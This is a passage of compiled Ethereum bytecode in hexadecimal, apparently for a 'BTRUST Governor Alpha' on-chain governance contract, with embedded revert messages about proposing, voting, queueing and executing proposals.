| 0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc146105af578063e23a9a52146105da578063e80978f614610617578063fe0d94c1146106425761019c565b8063da35c6641461051e578063da95691a14610549578063ddf0b009146105865761019c565b806391500671116100c65780639150067114610488578063b58131b0146104b1578063b9a61961146104dc578063d33219b4146104f35761019c565b80634634c61f1461041d578063760fbc13146104465780637bdbe4d01461045d5761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146103615780633e4f49e61461038c57806340e58ee5146103c9578063452a9320146103f25761019c565b806321f43e42146102cd57806324bc1a64146102f6578063328dd982146103215761019c565b8063013cf08b146101a157806302a251a3146101e657806306fdde031461021157806315373e3d1461023c57806317977c611461026557806320606b70146102a2575b600080fd5b3480156101ad57600080fd5b506101c860048036036101c39190810190613382565b61065e565b6040516101dd99989796959493929190614c7d565b60405180910390f35b3480156101f257600080fd5b506101fb6106e6565b6040516102089190614bb2565b60405180910390f35b34801561021d57600080fd5b50610226610706565b60405161023391906148d5565b60405180910390f35b34801561024857600080fd5b50610263600480360361025e9190810190613410565b61073f565b005b34801561027157600080fd5b5061028c6004803603610287919081019061319b565b61074e565b6040516102999190614bb2565b60405180910390f35b3480156102ae57600080fd5b506102b7610766565b6040516102c491906147a8565b60405180910390f35b3480156102d957600080fd5b506102f460048036036102ef91908101906131c4565b61077d565b005b34801561030257600080fd5b5061030b61090c565b6040516103189190614bb2565b60405180910390f35b34801561032d57600080fd5b5061034860048036036103439190810190613382565b610916565b6040516103589493929190614747565b60405180910390f35b34801561036d57600080fd5b50610376610bf3565b6040516103839190614bb2565b60405180910390f35b34801561039857600080fd5b506103b360048036036103ae9190810190613382565b610bfc565b6040516103c091906148ba565b60405180910390f35b3480156103d557600080fd5b506103f060048036036103eb9190810190613382565b610de1565b005b3480156103fe57600080fd5b5061040761117e565b6040516104149190614574565b60405180910390f35b34801561042957600080fd5b50610444600480360361043f919081019061344c565b6111a4565b005b34801561045257600080fd5b5061045b611373565b005b34801561046957600080fd5b50610472611447565b60405161047f9190614bb2565b60405180910390f35b34801561049457600080fd5b506104af60048036036104aa91908101906131c4565b611450565b005b3480156104bd57600080fd5b506104c66115da565b6040516104d39190614bb2565b60405180910390f35b3480156104e857600080fd5b506104f16115e3565b005b3480156104ff57600080fd5b506105086116f7565b604051610515919061489f565b60405180910390f35b34801561052a57600080fd5b5061053361171d565b6040516105409190614bb2565b60405180910390f35b34801561055557600080fd5b50610570600480360361056b9190810190613200565b611723565b60405161057d9190614bb2565b60405180910390f35b34801561059257600080fd5b506105ad60048036036105a89190810190613382565b611cf0565b005b3480156105bb57600080fd5b506105c4612040565b6040516105d191906147a8565b60405180910390f35b3480156105e657600080fd5b5061060160048036036105fc91908101906133d4565b612057565b60405161060e9190614b97565b60405180910390f35b34801561062357600080fd5b5061062c612139565b6040516106399190614884565b60405180910390f35b61065c60048036036106579190810190613382565b61215f565b005b60066020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b6000600260009054906101000a900463ffffffff1663ffffffff16905090565b6040518060400160405280601581526020017f42545255535420476f7665726e6f7220416c706861000000000000000000000081525081565b61074a3383836123ad565b5050565b60076020528060005260406000206000915090505481565b6040516107729061454a565b604051809103902081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080490614957565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000856040516020016108819190614574565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016108b094939291906145b8565b600060405180830381600087803b1580156108ca57600080fd5b505af11580156108de573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506109079190810190613341565b505050565b6000600154905090565b606080606080600060066000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156109c457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161097a575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610a1657602002820191906000526020600020905b815481526020019060010190808311610a02575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610afa578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae65780601f10610abb57610100808354040283529160200191610ae6565b820191906000526020600020905b815481529060010190602001808311610ac957829003601f168201915b505050505081526020019060010190610a3e565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610bdd578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc95780601f10610b9e57610100808354040283529160200191610bc9565b820191906000526020600020905b815481529060010190602001808311610bac57829003601f168201915b505050505081526020019060010190610b21565b5050505090509450945094509450509193509193565b60006001905090565b60008160055410158015610c105750600082115b610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4690614977565b60405180910390fd5b600060066000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610c87576002915050610ddc565b80600701544311610c9c576000915050610ddc565b80600801544311610cb1576001915050610ddc565b80600a01548160090154111580610cd25750610ccb61090c565b8160090154105b15610ce1576003915050610ddc565b600081600201541415610cf8576004915050610ddc565b80600b0160019054906101000a900460ff1615610d19576007915050610ddc565b610dc68160020154600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8957600080fd5b505afa158015610d9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610dc191908101906133ab565b61267c565b4210610dd6576006915050610ddc565b60059150505b919050565b6000610dec82610bfc565b9050600780811115610dfa57fe5b816007811115610e0657fe5b1415610e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3e90614b17565b60405180910390fd5b6000600660008481526020019081526020016000209050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fa85750610ebd6115da565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f2b4360016126d1565b6040518363ffffffff1660e01b8152600401610f48929190614617565b60206040518083038186803b158015610f6057600080fd5b505afa158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f9891908101906134c3565b6bffffffffffffffffffffffff16105b610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde90614a57565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b816003018054905081101561114157600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe83600301838154811061106657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460040184815481106110a057fe5b90600052602060002001548560050185815481106110ba57fe5b906000526020600020018660060186815481106110d357fe5b9060005260206000200187600201546040518663ffffffff1660e01b81526004016111029594939291906146e6565b600060405180830381600087803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b50505050808060010191505061100a565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c836040516111719190614bb2565b60405180910390a1505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006040516111b29061454a565b60405180910390206040518060400160405280601581526020017f42545255535420476f7665726e6f7220416c7068610000000000000000000000815250805190602001206111ff612721565b3060405160200161121394939291906147c3565b60405160208183030381529060405280519060200120905060006040516112399061455f565b6040518091039020878760405160200161125593929190614808565b60405160208183030381529060405280519060200120905060008282604051602001611282929190614513565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516112bf949392919061483f565b6020604051602081039080840390855afa1580156112e1573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561135d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135490614ad7565b60405180910390fd5b611368818a8a6123ad565b505050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90614b77565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d7906149d7565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f901600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000856040516020016115549190614574565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161158394939291906145b8565b602060405180830381600087803b15801561159d57600080fd5b505af11580156115b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115d59190810190613318565b505050565b60008054905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166a906148f7565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156116dd57600080fd5b505af11580156116f1573d6000803e3d6000fd5b50505050565b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600061172d6115da565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe1336117774360016126d1565b6040518363ffffffff1660e01b815260040161179492919061458f565b60206040518083038186803b1580156117ac57600080fd5b505afa1580156117c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117e491908101906134c3565b6bffffffffffffffffffffffff1611611832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182990614ab7565b60405180910390fd5b84518651148015611844575083518651145b8015611851575082518651145b611890576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188790614a37565b60405180910390fd5b6000865114156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90614a97565b60405180910390fd5b6118dd611447565b86511115611920576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611917906149f7565b60405180910390fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114611a2f57600061197782610bfc565b90506001600781111561198657fe5b81600781111561199257fe5b14156119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90614af7565b60405180910390fd5b600060078111156119e057fe5b8160078111156119ec57fe5b1415611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a24906149b7565b60405180910390fd5b505b6000611a4243611a3d610bf3565b61267c565b90506000611a5782611a526106e6565b61267c565b9050600560008154809291906001019190505550611a73612904565b604051806101a0016040528060055481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060066000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611b7d929190612986565b506080820151816004019080519060200190611b9a929190612a10565b5060a0820151816005019080519060200190611bb7929190612a5d565b5060c0820151816006019080519060200190611bd4929190612abd565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160076000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611cd499989796959493929190614bcd565b60405180910390a1806000015194505050505095945050505050565b60046007811115611cfd57fe5b611d0682610bfc565b6007811115611d1157fe5b14611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890614917565b60405180910390fd5b60006006600083815260200190815260200160002090506000611e1342600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b158015611dd657600080fd5b505afa158015611dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e0e91908101906133ab565b61267c565b905060008090505b8260030180549050811015611ff857611feb836003018281548110611e3c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018381548110611e7657fe5b9060005260206000200154856005018481548110611e9057fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f2e5780601f10611f0357610100808354040283529160200191611f2e565b820191906000526020600020905b815481529060010190602001808311611f1157829003601f168201915b5050505050866006018581548110611f4257fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fe05780601f10611fb557610100808354040283529160200191611fe0565b820191906000526020600020905b815481529060010190602001808311611fc357829003601f168201915b50505050508661272e565b8080600101915050611e1b565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28928382604051612033929190614d0a565b60405180910390a1505050565b60405161204c9061455f565b604051809103902081565b61205f612b1d565b60066000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005600781111561216c57fe5b61217582610bfc565b600781111561218057fe5b146121c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b790614937565b60405180910390fd5b6000600660008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b816003018054905081101561237157600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f83600401838154811061225657fe5b906000526020600020015484600301848154811061227057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560040185815481106122aa57fe5b90600052602060002001548660050186815481106122c457fe5b906000526020600020018760060187815481106122dd57fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161230c9594939291906146e6565b6000604051808303818588803b15801561232557600080fd5b505af1158015612339573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052506123639190810190613341565b5080806001019150506121fa565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516123a19190614bb2565b60405180910390a15050565b600160078111156123ba57fe5b6123c383610bfc565b60078111156123ce57fe5b1461240e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240590614b37565b60405180910390fd5b6000600660008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff161515146124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b990614997565b60405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401612525929190614617565b60206040518083038186803b15801561253d57600080fd5b505afa158015612551573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061257591908101906134c3565b905083156125a6576125998360090154826bffffffffffffffffffffffff1661267c565b83600901819055506125cb565b6125c283600a0154826bffffffffffffffffffffffff1661267c565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c468686868460405161266c9493929190614640565b60405180910390a1505050505050565b6000808284019050838110156126c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126be90614a17565b60405180910390fd5b8091505092915050565b600082821115612716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270d90614b57565b60405180910390fd5b818303905092915050565b6000804690508091505090565b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001612785959493929190614685565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016127b791906147a8565b60206040518083038186803b1580156127cf57600080fd5b505afa1580156127e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061280791908101906132ef565b15612847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283e90614a77565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b81526004016128aa959493929190614685565b602060405180830381600087803b1580156128c457600080fd5b505af11580156128d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506128fc9190810190613318565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b8280548282559060005260206000209081019282156129ff579160200282015b828111156129fe5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906129a6565b5b509050612a0c9190612b50565b5090565b828054828255906000526020600020908101928215612a4c579160200282015b82811115612a4b578251825591602001919060010190612a30565b5b509050612a599190612b93565b5090565b828054828255906000526020600020908101928215612aac579160200282015b82811115612aab578251829080519060200190612a9b929190612bb8565b5091602001919060010190612a7d565b5b509050612ab99190612c38565b5090565b828054828255906000526020600020908101928215612b0c579160200282015b82811115612b0b578251829080519060200190612afb929190612c64565b5091602001919060010190612add565b5b509050612b199190612ce4565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b612b9091905b80821115612b8c57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612b56565b5090565b90565b612bb591905b80821115612bb1576000816000905550600101612b99565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612bf957805160ff1916838001178555612c27565b82800160010185558215612c27579182015b82811115612c26578251825591602001919060010190612c0b565b5b509050612c349190612b93565b5090565b612c6191905b80821115612c5d5760008181612c549190612d10565b50600101612c3e565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ca557805160ff1916838001178555612cd3565b82800160010185558215612cd3579182015b82811115612cd2578251825591602001919060010190612cb7565b5b509050612ce09190612b93565b5090565b612d0d91905b80821115612d095760008181612d009190612d58565b50600101612cea565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612d365750612d55565b601f016020900490600052602060002090810190612d549190612b93565b5b50565b50805460018160011615610100020316600290046000825580601f10612d7e5750612d9d565b601f016020900490600052602060002090810190612d9c9190612b93565b5b50565b600081359050612daf816151e1565b92915050565b600082601f830112612dc657600080fd5b8135612dd9612dd482614d60565b614d33565b91508181835260208401935060208101905083856020840282011115612dfe57600080fd5b60005b83811015612e2e5781612e148882612da0565b845260208401935060208301925050600181019050612e01565b5050505092915050565b600082601f830112612e4957600080fd5b8135612e5c612e5782614d88565b614d33565b9150818183526020840193506020810190508360005b83811015612ea25781358601612e888882612ff7565b845260208401935060208301925050600181019050612e72565b5050505092915050565b600082601f830112612ebd57600080fd5b8135612ed0612ecb82614db0565b614d33565b9150818183526020840193506020810190508360005b83811015612f165781358601612efc888261309f565b845260208401935060208301925050600181019050612ee6565b5050505092915050565b600082601f830112612f3157600080fd5b8135612f44612f3f82614dd8565b614d33565b91508181835260208401935060208101905083856020840282011115612f6957600080fd5b60005b83811015612f995781612f7f8882613147565b845260208401935060208301925050600181019050612f6c565b5050505092915050565b600081359050612fb2816151f8565b92915050565b600081519050612fc7816151f8565b92915050565b600081359050612fdc8161520f565b92915050565b600081519050612ff18161520f565b92915050565b600082601f83011261300857600080fd5b813561301b61301682614e00565b614d33565b9150808252602083016020830185838301111561303757600080fd5b613042838284615177565b50505092915050565b600082601f83011261305c57600080fd5b815161306f61306a82614e2c565b614d33565b9150808252602083016020830185838301111561308b57600080fd5b613096838284615186565b50505092915050565b600082601f8301126130b057600080fd5b81356130c36130be82614e58565b614d33565b915080825260208301602083018583830111156130df57600080fd5b6130ea838284615177565b50505092915050565b600082601f83011261310457600080fd5b813561311761311282614e84565b614d33565b9150808252602083016020830185838301111561313357600080fd5b61313e838284615177565b50505092915050565b60008135905061315681615226565b92915050565b60008151905061316b81615226565b92915050565b6000813590506131808161523d565b92915050565b60008151905061319581615254565b92915050565b6000602082840312156131ad57600080fd5b60006131bb84828501612da0565b91505092915050565b600080604083850312156131d757600080fd5b60006131e585828601612da0565b92505060206131f685828601613147565b9150509250929050565b600080600080600060a0868803121561321857600080fd5b600086013567ffffffffffffffff81111561323257600080fd5b61323e88828901612db5565b955050602086013567ffffffffffffffff81111561325b57600080fd5b61326788828901612f20565b945050604086013567ffffffffffffffff81111561328457600080fd5b61329088828901612eac565b935050606086013567ffffffffffffffff8111156132ad57600080fd5b6132b988828901612e38565b925050608086013567ffffffffffffffff8111156132d657600080fd5b6132e2888289016130f3565b9150509295509295909350565b60006020828403121561330157600080fd5b600061330f84828501612fb8565b91505092915050565b60006020828403121561332a57600080fd5b600061333884828501612fe2565b91505092915050565b60006020828403121561335357600080fd5b600082015167ffffffffffffffff81111561336d57600080fd5b6133798482850161304b565b91505092915050565b60006020828403121561339457600080fd5b60006133a284828501613147565b91505092915050565b6000602082840312156133bd57600080fd5b60006133cb8482850161315c565b91505092915050565b600080604083850312156133e757600080fd5b60006133f585828601613147565b925050602061340685828601612da0565b9150509250929050565b6000806040838503121561342357600080fd5b600061343185828601613147565b925050602061344285828601612fa3565b9150509250929050565b600080600080600060a0868803121561346457600080fd5b600061347288828901613147565b955050602061348388828901612fa3565b945050604061349488828901613171565b93505060606134a588828901612fcd565b92505060806134b688828901612fcd565b9150509295509295909350565b6000602082840312156134d557600080fd5b60006134e384828501613186565b91505092915050565b60006134f88383613553565b60208301905092915050565b60006135108383613794565b905092915050565b600061352483836138d1565b905092915050565b600061353883836144c8565b60208301905092915050565b61354d816150c3565b82525050565b61355c81615039565b82525050565b61356b81615039565b82525050565b600061357c82614f1a565b6135868185614fa6565b935061359183614eb0565b8060005b838110156135c25781516135a988826134ec565b97506135b483614f72565b925050600181019050613595565b5085935050505092915050565b60006135da82614f25565b6135e48185614fb7565b9350836020820285016135f685614ec0565b8060005b8581101561363257848403895281516136138582613504565b945061361e83614f7f565b925060208a019950506001810190506135fa565b50829750879550505050505092915050565b600061364f82614f30565b6136598185614fc8565b93508360208202850161366b85614ed0565b8060005b858110156136a757848403895281516136888582613518565b945061369383614f8c565b925060208a0199505060018101905061366f565b50829750879550505050505092915050565b60006136c482614f3b565b6136ce8185614fd9565b93506136d983614ee0565b8060005b8381101561370a5781516136f1888261352c565b97506136fc83614f99565b9250506001810190506136dd565b5085935050505092915050565b6137208161504b565b82525050565b61372f8161504b565b82525050565b61373e81615057565b82525050565b61375561375082615057565b6151b9565b82525050565b600061376682614f51565b6137708185614ffb565b9350613780818560208601615186565b613789816151c3565b840191505092915050565b600061379f82614f46565b6137a98185614fea565b93506137b9818560208601615186565b6137c2816151c3565b840191505092915050565b6000815460018116600081146137ea576001811461381057613854565b607f60028304166137fb8187614ffb565b955060ff198316865260208601935050613854565b6002820461381e8187614ffb565b955061382985614ef0565b60005b8281101561384b5781548189015260018201915060208101905061382c565b80880195505050505b505092915050565b613865816150d5565b82525050565b613874816150f9565b82525050565b6138838161511d565b82525050565b6138928161512f565b82525050565b60006138a382614f67565b6138ad818561501d565b93506138bd818560208601615186565b6138c6816151c3565b840191505092915050565b60006138dc82614f5c565b6138e6818561500c565b93506138f6818560208601615186565b6138ff816151c3565b840191505092915050565b600061391582614f5c565b61391f818561501d565b935061392f818560208601615186565b613938816151c3565b840191505092915050565b6000815460018116600081146139605760018114613986576139ca565b607f6002830416613971818761501d565b955060ff1983168652602086019350506139ca565b60028204613994818761501d565b955061399f85614f05565b60005b828110156139c1578154818901526001820191506020810190506139a2565b80880195505050505b505092915050565b60006139df60398361501d565b91507f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560008301527f6e646572206d75737420626520676f7620677561726469616e000000000000006020830152604082019050919050565b6000613a4560448361501d565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613ad160458361501d565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613b5d60028361502e565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000613b9d604c8361501d565b91507f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60008301527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208301527f676f7620677561726469616e00000000000000000000000000000000000000006040830152606082019050919050565b6000613c2960188361501d565b91507f73657450656e64696e6741646d696e28616464726573732900000000000000006000830152602082019050919050565b6000613c6960298361501d565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b6000613ccf602d8361501d565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b6000613d3560598361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b6000613dc1604a8361501d565b91507f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360008301527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f60208301527f7620677561726469616e000000000000000000000000000000000000000000006040830152606082019050919050565b6000613e4d60288361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613eb360118361501d565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b6000613ef360438361502e565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000613f7f60278361502e565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b6000613fe560448361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614071602f8361501d565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b60006140d760448361501d565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614163602c8361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b60006141c9603f8361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b600061422f602f8361501d565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b600061429560588361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b600061432160368361501d565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000614387602a8361501d565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f73656400000000000000000000000000000000000000000000602083015